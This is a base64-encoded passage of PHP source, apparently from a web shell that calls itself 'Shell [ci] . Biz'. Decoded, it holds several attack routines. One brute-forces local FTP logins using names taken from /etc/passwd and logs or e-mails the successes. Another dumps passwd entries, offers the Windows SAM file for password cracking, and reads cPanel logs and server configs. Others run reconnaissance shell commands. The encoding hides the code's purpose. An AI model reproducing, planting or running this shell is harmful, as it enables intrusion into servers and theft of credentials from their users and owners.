JHBvcnQsJHRpbWVvdXQpOwogICAgaWYgKEBmdHBfbG9naW4oJHNvY2ssJGxvZ2luLCRwYXNzKSkKICAgIHsKICAgICBlY2hvICI8YSBocmVmPVwiZnRwOi8vIi4kbG9naW4uIjoiLiRwYXNzLiJAIi4kaG9zdC4iXCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGI+Q29ubmVjdGVkIHRvICIuJGhvc3QuIiB3aXRoIGxvZ2luIFwiIi4kbG9naW4uIlwiIGFuZCBwYXNzd29yZCBcIiIuJHBhc3MuIlwiPC9iPjwvYT4uPGJyPiI7CiAgICAgb2JfZmx1c2goKTsKICAgICByZXR1cm4gVFJVRTsKICAgIH0KICAgfQogIH0KICBpZiAoIWVtcHR5KCRzdWJtaXQpKQogIHsKICAgaWYgKCFpc19udW1lcmljKCRmcWJfbGVuZ2h0KSkgeyRmcWJfbGVuZ2h0ID0gJG5peHB3ZHBlcnBhZ2U7fQogICAkZnAgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCJyIik7CiAgIGlmICghJGZwKSB7ZWNobyAiQ2FuJ3QgZ2V0IC9ldGMvcGFzc3dkIGZvciBwYXNzd29yZC1saXN0LiI7fQogICBlbHNlCiAgIHsKICAgIGlmICgkZnFiX2xvZ2dpbmcpCiAgICB7CiAgICAgaWYgKCRmcWJfbG9nZmlsZSkgeyRmcWJfbG9nZnAgPSBmb3BlbigkZnFiX2xvZ2ZpbGUsInciKTt9CiAgICAgZWxzZSB7JGZxYl9sb2dmcCA9IEZBTFNFO30KICAgICAkZnFiX2xvZyA9ICJGVFAgUXVpY2sgQnJ1dGUgKGNhbGxlZCBTaGVsbCBbY2ldIC4gQml6ICIuJHNodmVyLiIpIHN0YXJ0ZWQgYXQgIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuXHJcbiI7CiAgICAgaWYgKCRmcWJfbG9nZmlsZSkge2Z3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN0cmxlbigkZnFiX2xvZykpO30KICAgIH0KICAgIG9iX2ZsdXNoKCk7CiAgICAkaSA9ICRzdWNjZXNzID0gMDsKICAgICRmdHBxdWlja19zdCA9IGdldG1pY3JvdGltZSgpOwogICAgd2hpbGUoIWZlb2YoJGZwKSkKICAgIHsKICAgICAkc3RyID0gZXhwbG9kZSgiOiIsZmdldHMoJGZwLDIwNDgpKTsKICAgICBpZiAoazFyNGZ0cGJydXRlY2hlY2soImxvY2FsaG9zdCIsMjEsMSwkc3RyWzBdLCRzdHJbMF0sJHN0cls2XSwkZnFiX29ubHl3aXRoc2gpKQogICAgIHsKICAgICAgZWNobyAiPGI+Q29ubmVjdGVkIHRvICIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiIgd2l0aCBsb2dpbiBcIiIuJHN0clswXS4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kc3RyWzBdLiJcIjwvYj48YnI+IjsKICAgICAgJGZxYl9sb2cgLj0gIkNvbm5lY3RlZCB0byAiLmdldGVudigiU0VSVkVSX05BTUUiKS4iIHdpdGggbG9naW4gXCIiLiRzdHJbMF0uIlwiIGFuZCBwYXNzd29yZCBcIiIuJHN0clswXS4iXCIsIGF0ICIuZGF0ZSgiZC5tLlkgSDppOnMiKS4iXHJcbiI7CiAgICAgIGlmICgkZnFiX2xvZ2ZwKSB7ZnNlZWsoJGZxYl9sb2dmcCwwKTsgZndyaXRlKCRmcWJfbG9nZnAsJGZxYl9sb2csc3RybGVuKCRmcWJfbG9nKSk7fQogICAgICAkc3VjY2VzcysrOwogICAgICBvYl9mbHVzaCgpOwogICAgIH0KICAgICBpZiAoJGkgPiAkZnFiX2xlbmdodCkge2JyZWFrO30KICAgICAkaSsrOwogICAgfQogICAgaWYgKCRzdWNjZXNzID09IDApIHtlY2hvICJObyBzdWNjZXNzLiBjb25uZWN0aW9ucyEiOyAkZnFiX2xvZyAuPSAiTm8gc3VjY2Vzcy4gY29ubmVjdGlvbnMhXHJcbiI7fQogICAgJGZ0cHF1aWNrX3QgPSByb3VuZChnZXRtaWNyb3RpbWUoKS0kZnRwcXVpY2tfc3QsNCk7CiAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxiPkRvbmUhPC9iPjxicj5Ub3RhbCB0aW1lIChzZWNzLik6ICIuJGZ0cHF1aWNrX3QuIjxicj5Ub3RhbCBjb25uZWN0aW9uczogIi4kaS4iPGJyPlN1Y2Nlc3MuOiA8Zm9udCBjb2xvcj1ncmVlbj48Yj4iLiRzdWNjZXNzLiI8L2I+PC9mb250Pjxicj5VbnN1Y2Nlc3MuOiIuKCRpLSRzdWNjZXNzKS4iPC9iPjxicj5Db25uZWN0cyBwZXIgc2Vjb25kOiAiLnJvdW5kKCRpLyRmdHBxdWlja190LDIpLiI8YnI+IjsKICAgICRmcWJfbG9nIC49ICJcclxuLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbkRvbmUhXHJcblRvdGFsIHRpbWUgKHNlY3MuKTogIi4kZnRwcXVpY2tfdC4iXHJcblRvdGFsIGNvbm5lY3Rpb25zOiAiLiRpLiJcclxuU3VjY2Vzcy46ICIuJHN1Y2Nlc3MuIlxyXG5VbnN1Y2Nlc3MuOiIuKCRpLSRzdWNjZXNzKS4iXHJcbkNvbm5lY3RzIHBlciBzZWNvbmQ6ICIucm91bmQoJGkvJGZ0cHF1aWNrX3QsMikuIlxyXG4iOwogICAgaWYgKCRmcWJfbG9nZnApIHtmc2VlaygkZnFiX2xvZ2ZwLDApOyBmd3JpdGUoJGZxYl9sb2dmcCwkZnFiX2xvZyxzdHJsZW4oJGZxYl9sb2cpKTt9CiAgICBpZiAoJGZxYl9sb2dlbWFpbCkge0BtYWlsKCRmcWJfbG9nZW1haWwsIlNoZWxsIFtjaV0gLiBCaXogIi4kc2h2ZXIuIiByZXBvcnQiLCRmcWJfbG9nKTt9CiAgICBmY2xvc2UoJGZxYl9sb2dmcCk7CiAgIH0KICB9CiAgZWxzZQogIHsKICAgJGxvZ2ZpbGUgPSAkdG1wZGlyX2xvZ3MuImsxcjRfZnRwcXVpY2ticnV0ZV8iLmRhdGUoImQubS5ZX0hfaV9zIikuIi5sb2ciOwogICAkbG9nZmlsZSA9IHN0cl9yZXBsYWNlKCIvLyIsRElSRUNUT1JZX1NFUEFSQVRPUiwkbG9nZmlsZSk7CiAgIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1cImZ0cHF1aWNrYnJ1dGVcIj48YnI+UmVhZCBmaXJzdDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPVwiZnFiX2xlbmdodFwiIHZhbHVlPVwiIi4kbml4cHdkcGVycGFnZS4iXCI+PGJyPjxicj5Vc2VycyBvbmx5IHdpdGggc2hlbGw/Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJmcWJfb25seXdpdGhzaFwiIHZhbHVlPVwiMVwiPjxicj48YnI+TG9nZ2luZz8mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImZxYl9sb2dnaW5nXCIgdmFsdWU9XCIxXCIgY2hlY2tlZD48YnI+TG9nZ2luZyB0byBmaWxlPyZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmcWJfbG9nZmlsZVwiIHZhbHVlPVwiIi4kbG9nZmlsZS4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkbG9nZmlsZSkrMiooc3RybGVuKCRsb2dmaWxlKS8xMCkpLiJcIj48YnI+TG9nZ2luZyB0byBlLW1haWw/Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZxYl9sb2dlbWFpbFwiIHZhbHVlPVwiIi4kbG9nX2VtYWlsLiJcIiBzaXplPVwiIi4oc3RybGVuKCRsb2dlbWFpbCkrMiooc3RybGVuKCRsb2dlbWFpbCkvMTApKS4iXCI+PGJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJCcnV0ZVwiPjwvZm9ybT4iOwogIH0KIH0KfQppZiAoJGFjdCA9PSAiZCIpCnsKIGlmICghaXNfZGlyKCRkKSkge2VjaG8gIjxjZW50ZXI+PGI+UGVybWlzaW9uIGRlbmllZCE8L2I+PC9jZW50ZXI+Ijt9CiBlbHNlCiB7CiAgZWNobyAiPGI+RGlyZWN0b3J5IGluZm9ybWF0aW9uOjwvYj48dGFibGUgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yPiI7CiAgaWYgKCEkd2luKQogIHsKICAgZWNobyAiPHRyPjx0ZD48Yj5Pd25lci9Hcm91cDwvYj48L3RkPjx0ZD4gIjsKICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRkKSk7CiAgICRnciA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkZCkpOwogICAkcm93W10gPSAoJG93WyJuYW1lIl0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCRkKSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpmaWxlZ3JvdXAoJGQpKTsKICB9CiAgZWNobyAiPHRyPjx0ZD48Yj5QZXJtczwvYj48L3RkPjx0ZD48YSBocmVmPVwiIi4kc3VybC4iYWN0PWNobW9kJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj4iLnZpZXdfcGVybXNfY29sb3IoJGQpLiI8L2I+PC9hPjx0cj48dGQ+PGI+Q3JlYXRlIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVjdGltZSgkZCkpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5BY2Nlc3MgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWF0aW1lKCRkKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPk1PRElGWSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlbXRpbWUoJGQpKS4iPC90ZD48L3RyPjwvdGFibGU+PGJyPiI7CiB9Cn0KaWYgKCRhY3QgPT0gInBocGluZm8iKSB7QG9iX2NsZWFuKCk7IHBocGluZm8oKTsgazFyNGV4aXQoKTt9CmlmICgkYWN0ID09ICJzZWN1cml0eSIpCnsKIGVjaG8gIjxjZW50ZXI+PGI+U2VydmVyIHNlY3VyaXR5IGluZm9ybWF0aW9uOjwvYj48L2NlbnRlcj48Yj5PcGVuIGJhc2UgZGlyOiAiLiRob3BlbmJhc2VkaXIuIjwvYj48YnI+IjsKIGlmICghJHdpbikKIHsKICBpZiAoJG5peHBhc3N3ZCkKICB7CiAgIGlmICgkbml4cGFzc3dkID09IDEpIHskbml4cGFzc3dkID0gMDt9CiAgIGVjaG8gIjxiPipuaXggL2V0Yy9wYXNzd2Q6PC9iPjxicj4iOwogICBpZiAoIWlzX251bWVyaWMoJG5peHB3ZF9zKSkgeyRuaXhwd2RfcyA9IDA7fQogICBpZiAoIWlzX251bWVyaWMoJG5peHB3ZF9lKSkgeyRuaXhwd2RfZSA9ICRuaXhwd2RwZXJwYWdlO30KICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPVwic2VjdXJpdHlcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cIm5peHBhc3N3ZFwiIHZhbHVlPVwiMVwiPjxiPkZyb206PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dD1cIiBuYW1lPVwibml4cHdkX3NcIiB2YWx1ZT1cIiIuJG5peHB3ZF9zLiJcIj4mbmJzcDs8Yj5Ubzo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5peHB3ZF9lXCIgdmFsdWU9XCIiLiRuaXhwd2RfZS4iXCI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiVmlld1wiPjwvZm9ybT48YnI+IjsKICAgJGkgPSAkbml4cHdkX3M7CiAgIHdoaWxlICgkaSA8ICRuaXhwd2RfZSkKICAgewogICAgJHVpZCA9IHBvc2l4X2dldHB3dWlkKCRpKTsKICAgIGlmICgkdWlkKQogICAgewogICAgICR1aWRbImRpciJdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9bHMmZD0iLnVybGVuY29kZSgkdWlkWyJkaXIiXSkuIlwiPiIuJHVpZFsiZGlyIl0uIjwvYT4iOwogICAgIGVjaG8gam9pbigiOiIsJHVpZCkuIjxicj4iOwogICAgfQogICAgJGkrKzsKICAgfQogIH0KICBlbHNlIHtlY2hvICI8YnI+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1zZWN1cml0eSZuaXhwYXNzd2Q9MSZkPSIuJHVkLiJcIj48Yj48dT5HZXQgL2V0Yy9wYXNzd2Q8L3U+PC9iPjwvYT48YnI+Ijt9CiB9CiBlbHNlCiB7CiAgJHYgPSAkX1NFUlZFUlsiV0lORElSIl0uIlxyZXBhaXJcc2FtIjsKICBpZiAoZmlsZV9nZXRfY29udGVudHMoJHYpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9cmVkPllvdSBjYW4ndCBjcmFjayB3aW5udCBwYXNzd29yZHMoIi4kdi4iKSA8L2ZvbnQ+PC9iPjxicj4iO30KICBlbHNlIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj5Zb3UgY2FuIGNyYWNrIHdpbm50IHBhc3N3b3Jkcy4gPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9c2FtJmQ9Ii4kX1NFUlZFUlsiV0lORElSIl0uIlxccmVwYWlyJmZ0PWRvd25sb2FkXCI+PHU+PGI+RG93bmxvYWQ8L2I+PC91PjwvYT4sIGFuZCB1c2UgbGNwLmNyYWNrKyAmIzE2OTsuPC9mb250PjwvYj48YnI+Ijt9CiB9CiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvdXNlcmRvbWFpbnMiKSkge2VjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPXVzZXJkb21haW5zJmQ9Ii51cmxlbmNvZGUoIi9ldGMiKS4iJmZ0PXR4dFwiPjx1PjxiPlZpZXcgY3BhbmVsIHVzZXItZG9tYWlucyBsb2dzPC9iPjwvdT48L2E+PC9mb250PjwvYj48YnI+Ijt9CiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi92YXIvY3BhbmVsL2FjY291bnRpbmcubG9nIikpIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj1hY2NvdW50aW5nLmxvZyZkPSIudXJsZW5jb2RlKCIvdmFyL2NwYW5lbC8iKS4iXCImZnQ9dHh0Pjx1PjxiPlZpZXcgY3BhbmVsIGxvZ3M8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30KIGlmIChmaWxlX2dldF9jb250ZW50cygiL3Vzci9sb2NhbC9hcGFjaGUvY29uZi9odHRwZC5jb25mIikpIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj1odHRwZC5jb25mJmQ9Ii51cmxlbmNvZGUoIi91c3IvbG9jYWwvYXBhY2hlL2NvbmYiKS4iJmZ0PXR4dFwiPjx1PjxiPkFwYWNoZSBjb25maWd1cmF0aW9uIChodHRwZC5jb25mKTwvYj48L3U+PC9hPjwvZm9udD48L2I+PGJyPiI7fQogaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL2h0dHBkLmNvbmYiKSkge2VjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPWh0dHBkLmNvbmYmZD0iLnVybGVuY29kZSgiL2V0YyIpLiImZnQ9dHh0XCI+PHU+PGI+QXBhY2hlIGNvbmZpZ3VyYXRpb24gKGh0dHBkLmNvbmYpPC9iPjwvdT48L2E+PC9mb250PjwvYj48YnI+Ijt9CiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvc3lzbG9nLmNvbmYiKSkge2VjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPXN5c2xvZy5jb25mJmQ9Ii51cmxlbmNvZGUoIi9ldGMiKS4iJmZ0PXR4dFwiPjx1PjxiPlN5c2xvZyBjb25maWd1cmF0aW9uIChzeXNsb2cuY29uZik8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30KIGlmIChmaWxlX2dldF9jb250ZW50cygiL2V0Yy9tb3RkIikpIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj1tb3RkJmQ9Ii51cmxlbmNvZGUoIi9ldGMiKS4iJmZ0PXR4dFwiPjx1PjxiPk1lc3NhZ2UgT2YgVGhlIERheTwvYj48L3U+PC9hPjwvZm9udD48L2I+PGJyPiI7fQogaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL2hvc3RzIikpIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj1ob3N0cyZkPSIudXJsZW5jb2RlKCIvZXRjIikuIiZmdD10eHRcIj48dT48Yj5Ib3N0czwvYj48L3U+PC9hPjwvZm9udD48L2I+PGJyPiI7fQogZnVuY3Rpb24gZGlzcGxheXNlY2luZm8oJG5hbWUsJHZhbHVlKSB7aWYgKCFlbXB0eSgkdmFsdWUpKSB7aWYgKCFlbXB0eSgkbmFtZSkpIHskbmFtZSA9ICI8Yj4iLiRuYW1lLiIgLSA8L2I+Ijt9IGVjaG8gJG5hbWUubmwyYnIoJHZhbHVlKS4iPGJyPiI7fX0KIGRpc3BsYXlzZWNpbmZvKCJPUyBWZXJzaW9uPyIsbXlzaGVsbGV4ZWMoImNhdCAvcHJvYy92ZXJzaW9uIikpOwogZGlzcGxheXNlY2luZm8oIktlcm5lbCB2ZXJzaW9uPyIsbXlzaGVsbGV4ZWMoInN5c2N0bCAtYSB8IGdyZXAgdmVyc2lvbiIpKTsKIGRpc3BsYXlzZWNpbmZvKCJEaXN0cmliIG5hbWUiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy9pc3N1ZS5uZXQiKSk7CiBkaXNwbGF5c2VjaW5mbygiRGlzdHJpYiBuYW1lICgyKSIsbXlzaGVsbGV4ZWMoImNhdCAvZXRjLyotcmVhbGlzZSIpKTsKIGRpc3BsYXlzZWNpbmZvKCJDUFU/IixteXNoZWxsZXhlYygiY2F0IC9wcm9jL2NwdWluZm8iKSk7CiBkaXNwbGF5c2VjaW5mbygiUkFNIixteXNoZWxsZXhlYygiZnJlZSAtbSIpKTsKIGRpc3BsYXlzZWNpbmZvKCJIREQgc3BhY2UiLG15c2hlbGxleGVjKCJkZiAtaCIpKTsKIGRpc3BsYXlzZWNpbmZvKCJMaXN0IG9mIEF0dHJpYnV0ZXMiLG15c2hlbGxleGVjKCJsc2F0dHIgLWEiKSk7CiBkaXNwbGF5c2VjaW5mbygiTW91bnQgb3B0aW9ucyAiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy9mc3RhYiIpKTsKIGRpc3BsYXlzZWNpbmZvKCJJcyBjVVJMIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBjdXJsIikpOwogZGlzcGxheXNlY2luZm8oIklzIGx5bnggaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIGx5bngiKSk7CiBkaXNwbGF5c2VjaW5mbygiSXMgbGlua3MgaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIGxpbmtzIikpOwogZGlzcGxheXNlY2luZm8oIklzIGZldGNoIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBmZXRjaCIpKTsKIGRpc3BsYXlzZWNpbmZvKCJJcyBHRVQgaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIEdFVCIpKTsKIGRpc3BsYXlzZWNpbmZvKCJJcyBwZXJsIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBwZXJsIikpOwogZGlzcGxheXNlY2luZm8oIldoZXJlIGlzIGFwYWNoZSIsbXlzaGVsbGV4ZWMoIndoZXJlaXMgYXBhY2hlIikpOwogZGlzcGxheXNlY2luZm8oIldoZXJlIGlzIHBlcmw/IixteXNoZWxsZXhlYygid2hlcmVpcyBwZXJsIikpOwogZGlzcGxheXNlY2luZm8oImxvY2F0ZSBwcm9mdHBkLmNvbmYiLG15c2hlbGxleGVjKCJsb2NhdGUgcHJvZnRwZC5jb25mIikpOwogZGlzcGxheXNlY2luZm8oImxvY2F0ZSBodHRwZC5jb25mIixteXNoZWxsZXhlYygibG9jYXRlIGh0dHBkLmNvbmYiKSk7CiBkaXNwbGF5c2VjaW5mbygibG9jYXRlIG15LmNvbmYiLG15c2hlbGxleGVjKCJsb2NhdGUgbXkuY29uZiIpKTsKIGRpc3BsYXlzZWNpbmZvKCJsb2NhdGUgcHN5Ym5jLmNvbmYiLG15c2hlbGxleGVjKCJsb2NhdGUgcHN5Ym5jLmNvbmYiKSk7Cn0KaWYgKCRhY3QgPT0gIm1rZmlsZSIpCnsKIGlmICgkbWtmaWxlICE9ICRkKQogewogIGlmIChmaWxlX2V4aXN0cygkbWtmaWxlKSkge2VjaG8gIjxiPk1ha2UgRmlsZSBcIiIuaHRtbHNwZWNpYWxjaGFycygkbWtmaWxlKS4iXCI8L2I+OiBvYmplY3QgYWxyZWR5IGV4aXN0cyI7fQogIGVsc2VpZiAoIWZvcGVuKCRta2ZpbGUsInciKSkge2VjaG8gIjxiPk1ha2UgRmlsZSBcIiIuaHRtbHNwZWNpYWxjaGFycygkbWtmaWxlKS4iXCI8L2I+OiBhY2Nlc3MgZGVuaWVkIjt9CiAgZWxzZSB7JGFjdCA9ICJmIjsgJGQgPSBkaXJuYW1lKCRta2ZpbGUpOyBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9ICRmID0gYmFzZW5hbWUoJG1rZmlsZSk7fQogfQogZWxzZSB7JGFjdCA9ICRkc3BhY3QgPSAibHMiO30KfQppZiAoJGFjdCA9PSAiZW5jb2RlciIpCnsKIGVjaG8gIjxzY3JpcHQ+ZnVuY3Rpb24gc2V0X2VuY29kZXJfaW5wdXQodGV4dCkge2RvY3VtZW50LmZvcm1zLmVuY29kZXIuaW5wdXQudmFsdWUgPSB0ZXh0O308L3NjcmlwdD48Y2VudGVyPjxiPkVuY29kZXI6PC9iPjwvY2VudGVyPjxmb3JtIG5hbWU9XCJlbmNvZGVyXCIgYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPWVuY29kZXI+PGI+SW5wdXQ6PC9iPjxjZW50ZXI+PHRleHRhcmVhIG5hbWU9XCJlbmNvZGVyX2lucHV0XCIgaWQ9XCJpbnB1dFwiIGNvbHM9NTAgcm93cz01PiIuQGh0bWxzcGVjaWFsY2hhcnMoJGVuY29kZXJfaW5wdXQpLiI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiY2FsY3VsYXRlXCI+PGJyPjxicj48L2NlbnRlcj48Yj5IYXNoZXM8L2I+Ojxicj48Y2VudGVyPiI7CiBmb3JlYWNoKGFycmF5KCJtZDUiLCJjcnlwdCIsInNoYTEiLCJjcmMzMiIpIGFzICR2KQogewogIGVjaG8gJHYuIiAtIDxpbnB1dCB0eXBlPXRleHQgc2l6ZT01MCBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiLiR2KCRlbmNvZGVyX2lucHV0KS4iXCIgcmVhZG9ubHk+PGJyPiI7CiB9CiBlY2hvICI8L2NlbnRlcj48Yj5Vcmw6PC9iPjxjZW50ZXI+PGJyPnVybGVuY29kZSAtIDxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiLnVybGVuY29kZSgkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5PgogPGJyPnVybGRlY29kZSAtIDxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnModXJsZGVjb2RlKCRlbmNvZGVyX2lucHV0KSkuIlwiIHJlYWRvbmx5PgogPGJyPjwvY2VudGVyPjxiPkJhc2U2NDo8L2I+PGNlbnRlcj5iYXNlNjRfZW5jb2RlIC0gPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuYmFzZTY0X2VuY29kZSgkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5PjwvY2VudGVyPiI7CiBlY2hvICI8Y2VudGVyPmJhc2U2NF9kZWNvZGUgLSAiOwogaWYgKGJhc2U2NF9lbmNvZGUoYmFzZTY0X2RlY29kZSgkZW5jb2Rlcl9pbnB1dCkpICE9ICRlbmNvZGVyX2lucHV0KSB7ZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IHZhbHVlPVwiZmFpbGVkXCIgZGlzYWJsZWQgcmVhZG9ubHk+Ijt9CiBlbHNlCiB7CiAgJGRlYmFzZTY0ID0gYmFzZTY0X2RlY29kZSgkZW5jb2Rlcl9pbnB1dCk7CiAgJGRlYmFzZTY0ID0gc3RyX3JlcGxhY2UoIlwwIiwiWzBdIiwkZGViYXNlNjQpOwogICRhID0gZXhwbG9kZSgiXHJcbiIsJGRlYmFzZTY0KTsKICAkcm93cyA9IGNvdW50KCRhKTsKICAkZGViYXNlNjQgPSBodG1sc3BlY2lhbGNoYXJzKCRkZWJhc2U2NCk7CiAgaWYgKCRyb3dzID09IDEpIHtlY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi4kZGViYXNlNjQuIlwiIGlkPVwiZGViYXNlNjRcIiByZWFkb25seT4iO30KICBlbHNlIHskcm93cysrOyBlY2hvICI8dGV4dGFyZWEgY29scz1cIjQwXCIgcm93cz1cIiIuJHJvd3MuIlwiIG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiBpZD1cImRlYmFzZTY0XCIgcmVhZG9ubHk+Ii4kZGViYXNlNjQuIjwvdGV4dGFyZWE+Ijt9CiAgZWNobyAiJm5ic3A7PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwic2V0X2VuY29kZXJfaW5wdXQoZG9jdW1lbnQuZm9ybXMuZW5jb2Rlci5kZWJhc2U2NC52YWx1ZSlcIj48Yj5ePC9iPjwvYT4iOwogfQogZWNobyAiPC9jZW50ZXI+PGJyPjxiPkJhc2UgY29udmVydGF0aW9uczwvYj46PGNlbnRlcj5kZWMyaGV4IC0gPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiI7CiAkYyA9IHN0cmxlbigkZW5jb2Rlcl9pbnB1dCk7CiBmb3IoJGk9MDskaTwkYzskaSsrKQogewogICRoZXggPSBkZWNoZXgob3JkKCRlbmNvZGVyX2lucHV0WyRpXSkpOwogIGlmICgkZW5jb2Rlcl9pbnB1dFskaV0gPT0gIiYiKSB7ZWNobyAkZW5jb2Rlcl9pbnB1dFskaV07fQogIGVsc2VpZiAoJGVuY29kZXJfaW5wdXRbJGldICE9ICJcXCIpIHtlY2hvICIlIi4kaGV4O30KIH0KIGVjaG8gIlwiIHJlYWRvbmx5Pjxicj48L2NlbnRlcj48L2Zvcm0+Ijs